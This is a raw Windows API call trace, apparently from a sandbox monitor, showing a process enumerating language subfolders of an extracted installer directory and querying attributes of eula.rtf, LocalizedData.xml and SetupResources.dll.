	[0071.086] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0071.086] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0071.086] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0071.086] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0071.086] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0071.086] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa)) returned 1
	[0071.086] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.086] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0071.092] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.092] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e)) returned 1
	[0071.092] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.093] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.093] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040" (normalized: "c:\\588bce7c90097ed212\\1040"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0071.121] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040" (normalized: "c:\\588bce7c90097ed212\\1040"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0071.122] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0071.122] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.122] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0071.122] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0071.122] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0071.122] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0071.122] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0071.122] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0071.122] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc)) returned 1
	[0071.123] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.123] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0071.175] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.175] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b)) returned 1
	[0071.217] SetEvent (hEvent=0x120) returned 1
	[0071.217] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.217] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.217] SetEvent (hEvent=0x188) returned 1
	[0071.217] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041" (normalized: "c:\\588bce7c90097ed212\\1041"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0071.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041" (normalized: "c:\\588bce7c90097ed212\\1041"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0071.217] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0071.218] VirtualAlloc (lpAddress=0xc00027e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027e000
	[0071.218] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.218] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0071.218] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0071.218] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0071.218] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0071.219] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0071.219] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0071.219] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82)) returned 1
	[0071.563] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.563] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58)) returned 1
	[0071.564] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.564] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d)) returned 1
	[0071.564] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.564] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.564] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042" (normalized: "c:\\588bce7c90097ed212\\1042"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0071.564] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042" (normalized: "c:\\588bce7c90097ed212\\1042"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0071.564] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0071.564] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.564] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0071.564] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0071.564] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0071.564] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0071.564] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0071.565] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0071.565] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6)) returned 1
	[0071.565] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.565] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58)) returned 1
	[0071.565] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
